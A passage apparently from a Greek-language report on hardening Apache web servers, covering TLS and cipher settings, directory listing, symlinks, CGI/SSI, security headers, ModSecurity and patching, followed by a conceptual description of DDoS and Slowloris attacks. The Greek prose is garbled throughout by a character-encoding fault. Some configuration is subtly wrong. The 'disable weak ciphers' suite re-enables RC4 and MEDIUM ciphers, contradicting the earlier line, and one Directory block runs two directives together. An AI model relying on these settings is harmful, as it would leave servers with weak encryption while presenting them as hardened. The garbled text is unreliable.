To παξαπάλσ ζα δεκηνπξγήζεη ηα δπν παξαπάλσ αξρεία ζην path: /etc/ssl. Σν CSR 

ζα πξέπεη λα ην ζηείινπκε ζε κηα αξρή έθδνζεο πηζηνπνηεηηθώλ γηα λα καο ην 

ππνγξάςεη. Μόιηο ιάβνπκε ην ππνγεγξακκέλν αξρείν πηζηνπνηεηηθνύ, κπνξνύκε λα 



12 
 

ην βάινπκε ζην Apache ssl configuration file: ssl.conf (path: 

/etc/httpd/conf.d/ssl.conf) όπσο θαίλεηαη παξαθάησ: 

#Πηζηνπνηεηηθό ππνγεγξακκέλν από ηελ αξρή 

SSLCertificateFile           /etc/ssl/certs/apache-selfsigned.crt 

#Αξρείν κε ην θιεηδί πνπ δεκηνπξγήζεθε παξαπάλσ 

SSLCertificateKeyFile    /etc/ssl/private/apache-selfsigned.key 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο θαη δνθηκάδνπκε λα ρηππήζνπκε ην URL ηνπ Apache server κε https: 

sudo apachectl restart 

 

1.12.2 SSL Cipher 

Η SSL θξππηνγξάθεζε (SSL Cipher) είλαη έλαο αιγόξηζκνο θξππηνγξάθεζεο ην 

νπνίν ρξεζηκνπνηείηαη ζαλ θιεηδί κεηαμύ δπν ππνινγηζηώλ κέζσ ηνπ Internet. Η 

θξππηνγξάθεζε δεδνκέλσλ είλαη κηα δηαδηθαζία θαηά ηελ νπνία κεηαηξέπνπκε έλα 

απιό θείκελν ζε κπζηηθνύο θσδηθνπνηεκέλνπο θσδηθνύο. 

Η θξππηνγξάθεζε ησλ δεδνκέλσλ πνπ ζα ιάβεη ρώξα βαζίδεηαη ζην SSL Cipher 

configuration ηνπ web server. Δπνκέλσο είλαη ζεκαληηθό λα ξπζκίζνπκε ην SSL 

Cipher λα είλαη ηζρπξόηεξν θαη όρη επάισην. 

Γηα λα γίλεη απηό, πεγαίλνπκε ζην Apache ssl configuration file: ssl.conf (path: 

/etc/httpd/conf.d/ssl.conf) θαη επεμεξγαδόκαζηε ην SSLCipherSuite directive ώζηε λα 

δέρεηαη αιγνξίζκνπο πςειήο θξππηνγξάθεζεο όπσο θαίλεηαη παξαθάησ[4]: 

SSLCipherSuite HIGH:!MEDIUM:!aNULL:!MD5:!RC4 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.12.3 Απελεξγνπνίεζε αδύλακσλ Ciphers 

Πξνθεηκέλνπ λα επηηξέςνπκε κόλν ηνπο strong Ciphers, κπνξνύκε λα θιείζνπκε όιεο 

ηηο πόξηεο πνπ πξνζπαζνύλ λα πξαγκαηνπνηήζνπλ handshake ζε lower cipher suites. 

Γηα λα γίλεη απηό πεγαίλνπκε ζην Apache ssl configuration file: ssl.conf (path: 

/etc/httpd/conf.d/ssl.conf) θαη εθαξκόδνπκε ην παξαθάησ ζην SSLCipherSuite 

directive [3]: 
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SSLCipherSuite 

ALL:!aNULL:!ADH:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.12.4 Απελεξγνπνίεζε ηνπ SSLv2 θαη SSLv3 

Μεξηθνί web servers ηξέρνπλ από πξνεπηινγή ηα πξσηόθνιια SSL 2.0/3.0 θαη TLS 

1.0/1.1 παξά ην γεγνλόο όηη είλαη γεκάηα κε γλσζηά ζέκαηα αζθαιείαο, βάδνληαο έηζη 

ηα δεδνκέλα πνπ κεηαθέξνληαη πάλσ από απηέο ηηο κεζόδνπο θξππηνγξάθεζεο ζε 

ξίζθν. Δμαηηίαο απηνύ, ζα πξέπεη λα πξσηόθνιια όπσο SSLv2 θαη SSLv3 θαζώο 

επίζεο θαη ην TLS 1.0 θαη ην TLS 1.1 λα απελεξγνπνηνύληαη θαη ζηε ζέζε ηνπο λα 

ελεξγνπνηείηαη ην TLS 1.2. 

Γηα λα γίλεη απηό πεγαίλνπκε ζην Apache ssl configuration file: ssl.conf (path: 

/etc/httpd/conf.d/ssl.conf) θαη ζην ηκήκα γηα ην SSL Protocol Support βάδνπκε ηηο 

παξαθάησ γξακκέο [1]: 

SSLProtocol -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 

SSLProtocol +TLSv1.2 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο θαη κπνξνύκε λα ειέγμνπκε γηα πηζαλά ζθάικαηα ζην SSL configuration κε 

ρξήζε ησλ online SSL.TLS Certificate tools [4], [7] 

sudo apachectl restart 

 

1.13 Απελεξγνπνίεζε εκθάληζεο θαηαιόγνπ 

Όκνηα κε ηελ απελεξγνπνίεζε ηεο ππνγξαθήο ηνπ web server, νη web servers επίζεο 

από πξνεπηινγή εκθαλίδνπλ ην πεξηερόκελν ησλ εγγξάθσλ θαη ησλ αξρείσλ ζηνλ root 

θαηάινγν όηαλ ιείπεη ην index.html αξρείν. Απηό ζεκαίλεη όηη έλαο επηηηζέκελνο 

κπνξεί λα δεη όια ηα αξρεία θαη ηνπο ππν-θαθέινπο ζηνλ browser ηνπ. 

Γηα λα απελεξγνπνηεζεί απηή ε ιεηηνπξγηθόηεηα πεγαίλνπκε ζην Apache 

configuration file (path: /etc/httpd/conf/httpd.conf) ζην Options directory θαη βάδνπκε 

ηελ ηηκή “None” ή “-Indexes” όπσο θαίλεηαη παξαθάησ [1]: 
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<Directory /var/www/example.com> 

Options None 

Order allow,deny 

Allow from all 

</Directory> 

΢ην παξαπάλσ configuration ζεσξνύκε όηη ν root θαηάινγνο βξίζθεηαη ζην directory 

example.com. ΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο 

παξαθάησ εληνιήο: 

sudo apachectl restart 

θαη βιέπνπκε όηη παίξλνπκε Forbidden error κήλπκα όηαλ θαινύκε ηνλ Apache server 

κε ηελ δηεύζπλζή ηνπ όπσο θαίλεηαη παξαθάησ [4]: 

 

Εικόνα 6. Μήνςμα ζθάλμαηορ μεηά ηην απενεπγοποίηζη ηηρ εμθάνιζηρ καηαλόγος 

 

1.14 Απελεξγνπνίεζε ησλ Symbolic Links ηνπ Server 

Από πξνεπηινγή, ν Apache αθνινπζεί ζπκβνιηθνύο ζπλδέζκνπο ή symbolic links 

(symlinks). Πξνηείλεηαη λα απελεξγνπνηνύληαη γηα ιόγνπο αζθαιείαο θαη γηα λα γίλεη 

απηό πεγαίλνπκε ζην Apache configuration file (path: /etc/httpd/conf/httpd.conf) θαη 

βξίζθνπκε ην section πνπ μεθηλάεη κε Directory /var/www/html θαη βάδνπκε ζην 

Option directive ην εμήο –FollowSymLinks όπσο θαίλεηαη παξαθάησ [5]: 

<Directory /var/www/html/> 

    Options -Indexes -FollowSymLinks 

    AllowOverride None 

    Require all granted 

</Directory> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 
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sudo apachectl restart 

 

1.15 Απελεξγνπνίεζε ηνπ Server Side Include θαη ηεο εθηέιεζεο ηνπ 

CGI 

Σν Server Side Include (SSI) έρεη ην ξίζθν όηη απμάλεη ην θόξην ζηνλ server. Αλ 

έρνπκε έλα δηακνηξαδόκελν πεξηβάιινλ θαη web applications κεγάιεο θίλεζεο, ηόηε 

κηα SSI επίζεζε επηηξέπεη ην exploitation ηεο web εθαξκνγήο εηζάγνληαο scripts ζηηο 

HTML ζειίδεο ή εθηειώληαο απνκαθξπζκέλν απζαίξεην θώδηθα. Έηζη ν επηηηζέκελνο 

κπνξεί λα πάξεη πξόζβαζε ζε επαίζζεηε πιεξνθνξία όπσο αξρεία θσδηθώλ θαη λα 

εθηειέζεη shell εληνιέο [5]. 

Γηα λα απελεξγνπνηήζνπκε ην SSI θαζώο επίζεο θαη ηελ εθηέιεζε ηνπ CGI 

πεγαίλνπκε ζην Apache config file (path: /etc/httpd/conf/httpd.conf) θαη βάδνπκε ην 

“-Includes” θαη “-ExecCGI” ζην Options directive όπσο θαίλεηαη παξαθάησ [4]: 

<Directory /var/www/html/> 

Options -Indexes -ExecCGI -Includes 

Order allow,denyAllow from all 

</Directory> 

΢ηελ πεξίπησζε πνπ έρνπκε πνιιαπιά Directory directives ζην πεξηβάιινλ καο, 

πξέπεη λα εθαξκόζνπκε ην παξαπάλσ configuration ζε όια. 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.16 Δμάιεηςε αρξεζηκνπνίεησλ modules 

Αλ έρνπκε εγθαηαζηήζεη ηνλ Apache Web Server κε ηα πξνεπηιεγκέλα configurations 

ηνπ ζπζηήκαηνο, ηόηε ππάξρεη κεγάιε πηζαλόηεηα λα ηξέρνπλ πνιιά αρξείαζηα 

modules. Όζν πνην πνιιέο ππεξεζίεο θαη ιεηηνπξγηθόηεηεο ππάξρνπλ ζε έλαλ web 

server ηόζν πηζαλώο ππάξρνπλ επθαηξίεο γηα έλαλ hacker λα θάλεη exploit ην δίθηπν 

ελόο νξγαληζκνύ. Έηζη κηα απιή θαη εύθνια παξαβιεθζείζα βέιηηζηε πξαθηηθή είλαη 
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λα απελεξγνπνηεζνύλ ή λα θιείζνπλ νπνηαδήπνηε κε ρξεζηκνπνηνύκελεο ππεξεζίεο, 

πόξηεο ή ιεηηνπξγηθόηεηεο [1]. 

Γηα παξάδεηγκα ππάξρνπλ 65.535 δηαζέζηκεο πόξηεο γηα θάζε server πνπ κπνξεί 

πηζαλώο λα ρξεζηκνπνηήζεη γηα λα ζεξβίξεη. ΢ηελ πξαγκαηηθόηεηα όκσο ν server καο 

δελ ρξεηάδεηαη όιεο απηέο ηηο πόξηεο αλνηρηέο. Οπνηαδήπνηε κε ρξεζηκνπνηνύκελα 

modules ή εζσηεξηθέο / εμσηεξηθέο πόξηεο πξέπεη λα θιείζνπλ. Γηα λα 

επηβεβαηώζνπκε πνηα modules ηξέρνπλ ζηνλ web server, ρξεζηκνπνηνύκε ηελ 

παξαθάησ εληνιή: 

grep LoadModule /etc/httpd/conf/httpd.conf 

Γηα λα απελεξγνπνηήζνπκε θάπνην ζπγθεθξηκέλν module αξθεί ζην Apache config 

file (path: /etc/httpd/conf/httpd.conf) λα βάινπκε κπξνζηά ην „#‟ όπσο θαίλεηαη 

παξαθάησ: 

#LoadModule info_module modules/mod_info.so 

#LoadModule userdir_module modules/mod_userdir.so 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο θαη ηα παξαπάλσ modules έρνπλ απελεξγνπνηεζεί: 

sudo apachectl restart 

 

1.17 Etag 

Σν Etag επηηξέπεη ζηνπο επηηηζέκελνπο λα απνθηνύλ επαίζζεηε πιεξνθνξία όπσο ηνλ 

inode αξηζκό, ην όξην ηνπ multipart MIME θαη ηηο δηεξγαζίεο παηδηά κέζσ ηεο 

θεθαιίδαο Etag. Γηα λα απνηξέςνπκε απηή ηελ εππάζεηα, πεγαίλνπκε ζην Apache 

config file (path: /etc/httpd/conf/httpd.conf) θαη βάδνπκε ην αθόινπζν directive [4]: 

FileETag None 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 
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1.18 Πξνζηαζία δηθαησκάησλ ησλ binary θαη configuration 

θαηαιόγσλ  

Από πξνεπηινγή, ηα δηθαηώκαηα γηα ηνλ binary θαη configuration θαηάινγν είλαη 755, 

ην νπνίν ζεκαίλεη όηη νπνηνζδήπνηε ρξήζηεο ζηνλ web server κπνξεί λα δεη ηα 

configurations. Γηα λα κελ επηηξέςνπκε ηελ πξόζβαζε ζε άιιν ρξήζηε λα κπεη κέζα 

ζηνπο θαθέινπο conf θαη bin, κπνξνύκε λα ηξέμνπκε ηελ chmod παξαθάησ εληνιή σο 

εμήο [4]: 

cd /etc/httpd/ 

sudo chmod -R 750 conf 

sudo chmod 750 /usr/sbin/httpd 

 

1.19 Πξνζηαζία ξπζκίζεσλ ζπζηήκαηνο  

΢ε κηα πξνεπηιεγκέλε εγθαηάζηαζε, νη ρξήζηεο κπνξνύλ λα θάλνπλ override ηα 

apache configurations κε ηελ ρξήζε ηνπ .htaccess. Αλ ζέινπκε λα ζηακαηήζνπκε 

ηνπο ρξήζηεο από ην λα αιιάδνπλ ηηο ξπζκίζεηο ηνπ apache web server, ηόηε 

κπνξνύκε λα βάινπκε ην AllowOverride ζε None.  

Γηα λα γίλεη απηό πάκε ζην Apache config file (path: /etc/httpd/conf/httpd.conf), 

ςάρλνπκε γηα ην Directory ζην root επίπεδν θαη ην αιιάδνπκε σο εμήο [4]: 

<Directory />  

Options -Indexes  

AllowOverride None 

</Directory> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 
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1.20 Πξνζηαζία από Clickjacking επίζεζε 

Σν Clickjacking είλαη κηα επίζεζε πνπ εμαπαηά ηνλ ρξήζηε ζην λα θάλεη θιηθ ζε έλα 

ζηνηρείν κηαο ηζηνζειίδαο ην νπνίν είλαη αόξαην ή κεηακθηεζκέλν σο άιιν ζηνηρείν. 

Απηό κπνξεί λα πξνθαιέζεη ζηνπο ρξήζηεο ζην θαηέβαζκα θάπνηνπ malware άζειά 

ηνπο, ζηελ επίζθεςε θάπνηαο θαθόβνπιεο ηζηνζειίδαο, λα παξέρεη δηαπηζηεπηήξηα ή 

επαίζζεηεο πιεξνθνξίεο ζηνπο επηηηζέκελνπο, λα κεηαθέξεη ρξήκαηα ή λα αγνξάζεη ν 

ρξήζηεο άζειά ηνπ θάπνην πξντόλ από ην Internet. 

Σππηθά, ην clickjacking πξαγκαηνπνηείηαη κε ηελ εκθάληζε κηαο αόξαηεο ζειίδαο ή 

ελόο HTML ζηνηρείνπ κέζα ζε έλα iframe, πάλσ ζηελ ζειίδα πνπ βιέπεη ν ρξήζηεο. 

Οη ρξήζηεο πηζηεύνπλ όηη θάλνπλ θιηθ ζηελ νξαηή ζειίδα, αιιά ζηελ 

πξαγκαηηθόηεηα απηνί επηιέγνπλ έλα αόξαην ζηνηρείν ζηελ επηπξόζζεηε ζειίδα πνπ 

κεηαθέξζεθε από πάλσ από ηελ ζειίδα πνπ βιέπεη ν ρξήζηεο. Η αόξαηε ζειίδα 

κπνξεί λα είλαη κηα θαθόβνπιε ζειίδα ή κηα λόκηκε ζειίδα ηελ νπνίν ν ρξήζηεο δελ 

δηαηίζεηαη λα επηζθεθηεί. Γηα παξάδεηγκα κηα ζειίδα ζηελ ζειίδα ηεο ηξάπεδαο ηνπ 

ρξήζηε πνπ επηηξέπεη ηελ κεηαθνξά ρξεκάησλ [8].  

Γηα λα απνηξέςνπκε ηελ παξαπάλσ επίζεζε, πεγαίλνπκε ζην Apache configuration 

file (path: /etc/httpd/conf/httpd.conf) θαη εθόζνλ βεβαησζνύκε όηη ην module 

mod_headers.so είλαη ελεξγνπνηεκέλν, ηόηε βάδνπκε ην παξαθάησ directive [4]: 

Header always append X-Frame-Options SAMEORIGIN 

 ΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

Από ηελ παξαθάησ εηθόλα βιέπνπκε όηη ην παξαπάλσ configuration γίλεηαη apply κε 

επηηπρία: 

 

Εικόνα 7. Configuration για πποζηαζία από Clickjacking επίθεζη 
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1.21 Πξνζηαζία από XSS επηζέζεηο 

Με ηνλ όξν Cross-site Scripting ή XSS αλαθεξόκαζηε ζε κία εππάζεηα αζθάιεηαο 

πνπ επηηξέπεη ζε έλαλ θαθόβνπιν ρξήζηε λα εγρύζεη θώδηθα JavaScript ζε κία 

ηζηνζειίδα. Με ηε ζεηξά ηνπ ν θώδηθαο απηόο, κόιηο ν ρξήζηεο επηρεηξήζεη λα 

επηζθεθζεί ηελ ζπγθεθξηκέλε ηζηνζειίδα, ζα εθηειεζηεί ζηνλ browser ηνπ γηαηί 

ιεηηνπξγεί κε ηα απμεκέλα πξνλόκηα, θαη αληηκεησπίδεηαη από ηνλ browser σο 

έκπηζην πεξηερόκελν. Με απηόλ ηνλ ηξόπν, ν επηηηζέκελνο κπνξεί λα απνθηήζεη 

πξόζβαζε ζε επαίζζεηα δεδνκέλα ρξεζηώλ, λα ππνθιέςεη ηελ ζπλεδξία ελόο ρξήζηε,  

αιιά θαη λα απνθηήζεη πξόζβαζε ζε πιήζνο πιεξνθνξηώλ πνπ απνζεθεύεη ν browser 

γηα ράξε ηνπ ρξήζηε. 

Οη επηηηζέκελνη κπνξνύλ λα εθκεηαιιεπηνύλ κία cross-site scripting εππάζεηα 

πξνθεηκέλνπ λα παξαθάκςνπλ ειέγρνπο πξόζβαζεο, όπσο ην Same-Origin Policy. Ο 

αληίθηππνο ησλ ελ ιόγσ επηζέζεσλ πνηθίιιεη από κηθξέο αιιαγέο πνπ ελδερνκέλσο 

επεξεάδνπλ ηελ εκπεηξία ελόο ρξήζηε, κέρξη κεγάιεο εκβέιεηαο δεκηέο, αλάινγα κε 

ηελ επαηζζεζία ησλ δεδνκέλσλ πνπ ρεηξίδεηαη ν επάισηνο ηζηόηνπνο, αιιά θαη ηηο 

πξνζπάζεηεο κεηξίαζεο ησλ αξλεηηθώλ ζπλεπεηώλ [9]. 

Δπεηδή ε αζθάιεηα XSS κπνξεί λα πξνζπεξαζηεί από πνιινύο browsers, κπνξνύκε 

λα εθαξκόζνπκε ηελ αζθάιεηα ζε κηα web εθαξκνγή αθόκα θαη αλ είλαη 

απελεξγνπνηεκέλε από ηνλ ρξήζηε. Απηό ρξεζηκνπνηείηαη από ηελ πιεηνςεθία ησλ 

γηγαληηαίσλ web εηαηξηώλ όπσο ην Facebook, Twitter, Google θ.α. Γηα λα γίλεη απηό 

πεγαίλνπκε ζην Apache configuration file (path: /etc/httpd/conf/httpd.conf) θαη 

βάδνπκε ην παξαθάησ Header directive [4], [5]: 

<IfModule mod_headers.c> 

    Header set X-XSS-Protection "1; mode=block" 

</IfModule> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

Αλ κεηά αλνίμνπκε ην π.ρ Firefox browser θαη επηζθεθηνύκε ην link ηνπ Apache 

server, κπνξνύκε λα ειέγμνπκε ηνπο HTTP response headers κε ην Firebug θαη ζα 

δνύκε όηη ην XSS-Protection έρεη γίλεη inject ζηνλ header ηεο απάληεζεο ηνπ server 

θαη ην mode ηνπ είλαη blocker όπσο θαίλεηαη θαη ζηελ παξαθάησ εηθόλα [5]: 
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Εικόνα 8. Configuration για πποζηαζία από XSS επιθέζειρ 

 

1.22 Οξηζκόο Cookie κε HttpOnly θαη Secure flag 

Μπνξνύκε λα ζηακαηήζνπκε ηηο πεξηζζόηεξεο από ηηο γλσζηέο επηζέζεηο Cross Site 

Scripting ρξεζηκνπνηώληαο ην HttpOnly θαη Secure flag ζην cookie. Υσξίο λα έρνπκε 

ην HttpOnly θαη Secure flags (θαη ρσξίο λα έρνπκε εθαξκόζεη ην XSS-Protection 

όπσο παξνπζηάζηεθε ζηελ πξνεγνύκελε παξάγξαθν) είλαη πηζαλό θάπνηνο 

επηηηζέκελνο λα θιέςεη ή λα ρεηξηζηεί ην web application session θαη cookies ηνπ 

ρξήζηε. 

Γηα λα απνθεπρζεί απηό πεγαίλνπκε ζην Apache configuration file (path: 

/etc/httpd/conf/httpd.conf) θαη βάδνπκε ην παξαθάησ Header directive [4]: 

<IfModule mod_headers.c> 

    Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure 

</IfModule> 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.23 Δλεξγνπνίεζε ηνπ Rule Engine 

Από πξνεπηινγή θαηά ηελ εγθαηάζηαζε ηνπ Apache web server, ην Rule Engine είλαη 

απελεξγνπνηεκέλν. Απηό ζεκαίλεη όηη αλ δελ ην ελεξγνπνηήζνπκε, δελ κπνξνύκε λα 

εθκεηαιιεπηνύκε όια ηα πιενλεθηήκαηα πνπ πξνζθέξεη ην Mod Security (όπσο ζα 

πεξηγξάςνπκε ζε επόκελε παξάγξαθν). 
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Η ελεξγνπνίεζε ή ε απελεξγνπνίεζε ηνπ Rule Engine ειέγρεηαη από ην 

SecRuleEngine directive. Γηα λα ην ελεξγνπνηήζνπκε, πεγαίλνπκε ζην Apache config 

file (path: /etc/httpd/conf/httpd.conf) θαη βάδνπκε ην παξαθάησ directive [4]: 

SecRuleEngine On 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.24 Configure Listen 

Όηαλ έρνπκε πνιιά interfaces θαη IPs ζε έλαλ web server, ζπλίζηαηαη λα έρνπκε ην 

Listen directive ξπζκηζκέλν κε απόιπηε IP θαη πόξηα. 

Αλ αθήζνπκε ην Apache configuration λα αθνύεη ζε όιεο ηηο IPs κε θάπνηα πόξηα, 

ηόηε κπνξεί λα δεκηνπξγήζεη πξόβιεκα ζηελ πξνώζεζε ελόο HTTP request ζε 

θάπνηνλ άιιν server. Απηό είλαη πνιύ ζπρλό ζε έλα δηακνηξαδόκελν πεξηβάιινλ. 

Γηα λα ξπζκίζνπκε ηνλ Apache web server λα αθνύεη ζε κόλν κηα IP θαη πόξηα, 

πεγαίλνπκε ζην Apache configuration file (path: /etc/httpd/conf/httpd.conf) θαη 

βάδνπκε ζην Listen directive γηα παξάδεηγκα ην παξαθάησ [4]: 

Listen 10.10.10.1:80 

΢ηε ζπλέρεηα θάλνπκε επαλεθθίλεζε ηνλ Apache server κε ρξήζε ηεο παξαθάησ 

εληνιήο: 

sudo apachectl restart 

 

1.25 Πεξηνδηθόο έιεγρνο γηα επηδηνξζώζεηο  

Σν ηειεπηαίν, αιιά ζίγνπξα όρη ιηγόηεξν ζεκαληηθό είλαη ν πεξηνδηθόο έιεγρνο γηα 

επηδηνξζώζεηο (patches). Πξέπεη λα ειέγρνπκε ζπρλά γηα updates θαη γηα patches ζηνλ 

server. Απηό δελ πξέπεη λα είλαη απιώο κηα εθάπαμ ιεηηνπξγία κεηά ηελ εγθαηάζηαζε 

[1]. ΢ην Centos κπνξνύκε λα εγθαηαζηήζνπκε ηα ηειεπηαία patches θαη fixes κε 

ρξήζε ηεο παξαθάησ εληνιήο: 

sudo yum update 
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Φπζηθά ην παξαπάλσ ζε έλαλ νξγαληζκό ζα πξέπεη λα γίλεηαη ζε ζπλελλόεζε κε ηελ 

ππνδνκή θαη ηνπο δηαρεηξηζηέο ηεο νη νπνίνη είλαη εθπαηδεπκέλνη λα εθηεινύλ ηέηνηεο 

δηαδηθαζίεο patching.  
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2 Δπηζέζεηο DDoS 

Μηα επίζεζε DDoS (Distributed Denial-of-Service) ζπκβαίλεη όηαλ έλαο ράθεξ 

ζηέιλεη κεγάιε θίλεζε ζε έλα δίθηπν ή έλα web server πξνθεηκέλνπ λα ζπληξίςεη ην 

ζύζηεκα θαη λα δηαηαξάμεη ηελ ηθαλόηεηά ηνπ λα ιεηηνπξγήζεη. Απηέο νη επηζέζεηο 

ρξεζηκνπνηνύληαη ζπλήζσο γηα λα ξίμνπλ πξνζσξηλά έλαλ ηζηόηνπν ή κηα εθαξκνγή 

θαη κπνξνύλ λα δηαξθέζνπλ κεξηθέο εκέξεο θάζε θνξά ή αθόκε θαη πεξηζζόηεξν 

[14]. 

 

Εικόνα 9. Οπηικοποίηζη DDoS επίθεζηρ 

 

Υξεζηκνπνηνύκε ηνλ όξν Denial-of-Service επεηδή ν ηζηόηνπνο ή ν δηαθνκηζηήο δελ 

ζα είλαη ζε ζέζε λα εμππεξεηήζεη λόκηκε θπθινθνξία θαηά ηε δηάξθεηα ηεο επίζεζεο. 

Καη ηνλ όξν Distributed Denial-of-Service επεηδή ε παξάλνκε θίλεζε πξνέξρεηαη από 

εθαηνληάδεο, ρηιηάδεο ή αθόκα θαη εθαηνκκύξηα άιισλ ππνινγηζηώλ. Όηαλ 

πξνέξρεηαη από κία κόλν πεγή, είλαη γλσζηή σο επίζεζε DoS. 

Οη επηζέζεηο DDoS ρξεζηκνπνηνύλ έλα botnet κηα ζπιινγή πνιιώλ ππνινγηζηώλ ή 

ζπζθεπώλ κε δπλαηόηεηα πξόζβαζεο ζην Internet πνπ έρνπλ θαηαιεθζεί εμ 

απνζηάζεσο κε ρξήζε θαθόβνπινπ ινγηζκηθνύ πνπ μεθηλά ηελ επίζεζε. Απηά 

ιέγνληαη “δόκπη”. 
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2.1 Δίδε DDoS επηζέζεσλ 

 

Τπάξρνπλ ηξία είδε DDoS επηζέζεσλ: 

 Application-layer DDoS attack: Οη επηζέζεηο ζε επίπεδν εθαξκνγήο είλαη ε 

απινύζηεξε κνξθή επίζεζε DDoS πνπ κηκείηαη ηα θαλνληθά αηηήκαηα 

δηαθνκηζηή. Με άιια ιόγηα, νη ππνινγηζηέο ή νη ζπζθεπέο ζην botnet 

ζπλδπάδνληαη γηα λα έρνπλ πξόζβαζε ζηνλ εμππεξεηεηή ή ζηνλ ηζηόηνπν, 

όπσο αθξηβώο ζα έθαλε έλαο θαλνληθόο ρξήζηεο.  

Όκσο, θαζώο ε επίζεζε DDoS θιηκαθώλεηαη, ν όγθνο ησλ θαηλνκεληθά 

λόκηκσλ αηηεκάησλ γίλεηαη ππεξβνιηθά κεγάινο γηα λα ηνλ δηαρεηξηζηεί ν 

δηαθνκηζηήο, ν νπνίνο ηειηθά “θξαζάξεη”. 

 Protocol DDoS attack: Μηα επίζεζε πξσηνθόιινπ εθκεηαιιεύεηαη ηνλ ηξόπν 

κε ηνλ νπνίν νη δηαθνκηζηέο επεμεξγάδνληαη δεδνκέλα πξνθεηκέλνπ λα 

επηβαξύλνπλ θαη λα ππεξθνξηώζνπλ ηνλ ζηόρν. 

΢ε νξηζκέλεο παξαιιαγέο ησλ επηζέζεσλ πξσηνθόιινπ, ην botnet ζα ζηείιεη 

παθέηα δεδνκέλσλ γηα λα ζπλαξκνινγεζνύλ από ηνλ δηαθνκηζηή. ΢ηε 

ζπλέρεηα ν δηαθνκηζηήο πεξηκέλεη λα ιάβεη κηα επηβεβαίσζε από ηε δηεύζπλζε 

IP πξνέιεπζεο, ηελ νπνία δελ ιακβάλεη πνηέ. Χζηόζν, ζπλερίδεη λα ιακβάλεη 

όιν θαη πεξηζζόηεξα δεδνκέλα γηα λα απνζπζθεπάζεη. 

΢ε άιιεο παξαιιαγέο, απνζηέιιεη παθέηα δεδνκέλσλ πνπ απιά δελ κπνξνύλ 

λα επαλαζπλαξκνινγεζνύλ, γεγνλόο πνπ ζηελ πξνζπάζεηα ηνπ θαηαλαιώλεη 

ζεκαληηθό κέξνο ησλ πόξσλ ηνπ δηαθνκηζηή. 

 Volume-based DDoS attack: Οη νγθνκεηξηθέο επηζέζεηο είλαη παξόκνηεο κε 

ηηο επηζέζεηο εθαξκνγώλ, αιιά κε κηα δηαθνξά. ΢ε απηή ηε κνξθή επίζεζεο 

DDoS, ην δηαζέζηκν εύξνο δώλεο ελόο νιόθιεξνπ δηαθνκηζηή θαηαλαιώλεηαη 

από ηα αηηήκαηα ηνπ botnet πνπ έρνπλ εληζρπζεί κε θάπνην ηξόπν. 

Γηα παξάδεηγκα, ηα botnet κπνξνύλ κεξηθέο θνξέο λα εμαπαηήζνπλ ηνπο 

δηαθνκηζηέο ώζηε λα ζηείινπλ νη ίδηνη ηεξάζηηα πνζά δεδνκέλσλ. Απηό 

ζεκαίλεη όηη ν δηαθνκηζηήο πξέπεη λα επεμεξγαζηεί ηε ιήςε, ηε 

ζπλαξκνιόγεζε, ηελ απνζηνιή θαη ηε ιήςε ησλ δεδνκέλσλ εθ λένπ. 
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2.2 Δπίζεζε Slowloris DDoS 

Η επίζεζε Slowloris είλαη έλα είδνο επίζεζεο άξλεζεο παξνρήο ππεξεζηώλ (DoS) ε 

νπνία επηηξέπεη ζε κηα απιή κεραλή λα ξίμεη ηνλ web server άιινπ ππνινγηζηή κε ην 

ειάρηζην bandwidth θαη δεκηνπξγώληαο παξελέξγεηεο ζε ππεξεζίεο θαη πόξηεο. 

Σν Slowloris πξνζπαζεί λα θξαηά πνιιά connections αλνηρηά ζηνλ web server ζηόρν 

θαη λα ηα θξαηά αλνηρηά όζν ην δπλαηό πεξηζζόηεξν. Σν πεηπραίλεη απηό αλνίγνληαο 

connections ζηνλ web server ζηόρν θαη ζηέιλνληαο κεξηθώο νινθιεξσκέλα requests. 

Πεξηνδηθά ζηέιλεη ηηο επόκελεο HTTP θεθαιίδεο κε νινθιεξσκέλεο κέζα ζην 

request. Οη επεξεαζκέλνη servers ζα θξαηάλε απηά ηα connections αλνηρηά, 

γεκίδνληαο έηζη ηνλ κέγηζην αξηζκό ηαπηόρξνλσλ connections πνπ κπνξεί λα δερηεί ν 

server θαη ηειηθά ν server ζηε ζπλέρεηα λα αξλείηαη λα παξέρεη ηα επηπξόζζεηα 

connections από ηνπο clients. 

